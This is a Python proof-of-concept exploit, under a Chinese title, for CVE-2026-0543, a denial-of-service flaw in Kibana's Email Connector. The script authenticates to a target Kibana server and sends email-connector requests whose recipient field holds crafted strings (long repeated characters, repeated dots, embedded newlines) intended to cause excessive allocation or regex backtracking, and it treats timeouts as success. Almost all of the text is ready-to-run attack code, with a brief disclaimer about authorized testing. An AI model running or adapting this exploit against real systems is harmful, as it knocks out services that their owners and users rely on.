CVE-2026-0543 Kibana Email Connector输入验证不当导致拒绝服务

#!/usr/bin/env python3 """ CVE-2026-0543 PoC - Kibana Email Connector DoS Description: Improper Input Validation in Kibana's Email Connector allows attackers to cause Excessive Allocation via crafted email addresses. Note: This PoC is for educational and authorized testing purposes only. """ import requests import json import sys TARGET_URL = "https://kibana.example.com" USERNAME = "attacker" PASSWORD = "password" def get_auth_token(): """Authenticate and get access token""" auth_url = f"{TARGET_URL}/api/security/v1/login" headers = {"Content-Type": "application/json", "kbn-xsrf": "true"} data = json.dumps({"username": USERNAME, "password": PASSWORD}) try: response = requests.post(auth_url, headers=headers, data=data, verify=False, timeout=10) if response.status_code == 200: return response.cookies.get_dict() except Exception as e: print(f"Authentication failed: {e}") return None def exploit_dos(auth_cookies): """ Send crafted email address to trigger excessive allocation The payload exploits the improper input validation in email connector """ connector_url = f"{TARGET_URL}/api/actions/connector" headers = {"kbn-xsrf": "true", "Content-Type": "application/json"} # Crafted email address payloads that trigger the vulnerability payloads = [ # Nested special characters causing regex backtracking "a" * 50 + "@" + "b" * 50 + "." + "c" * 50 + "@" + "d" * 50 + "." + "e" * 50, # Repeated special pattern "test" + "." * 100 + "@" + "test" + "." * 100 + "@" + "test" + "." * 100, # Long string with control characters "x" * 1000 + "\n" * 100 + "@" + "y" * 1000 ] for i, payload in enumerate(payloads): exploit_data = { "name": f"Email Connector DoS Test {i}", "connector_type_id": ".email", "config": { "from": "[email protected]", "to": payload }, "secrets": { "user": "smtp_user", "password": "smtp_password" } } try: response = requests.post( connector_url, headers=headers, cookies=auth_cookies, json=exploit_data, timeout=30 ) print(f"Payload {i+1} sent. Status: {response.status_code}") except requests.exceptions.Timeout: print(f"Payload {i+1} triggered timeout - service may be affected") except Exception as e: print(f"Error with payload {i+1}: {e}") def main(): print("CVE-2026-0543 PoC - Kibana Email Connector DoS") print("=" * 50) cookies = get_auth_token() if not cookies: print("Failed to authenticate. Check credentials.") sys.exit(1) print("Authentication successful. Sending exploit payloads...") exploit_dos(cookies) print("Exploitation attempt completed.") if __name__ == "__main__": main()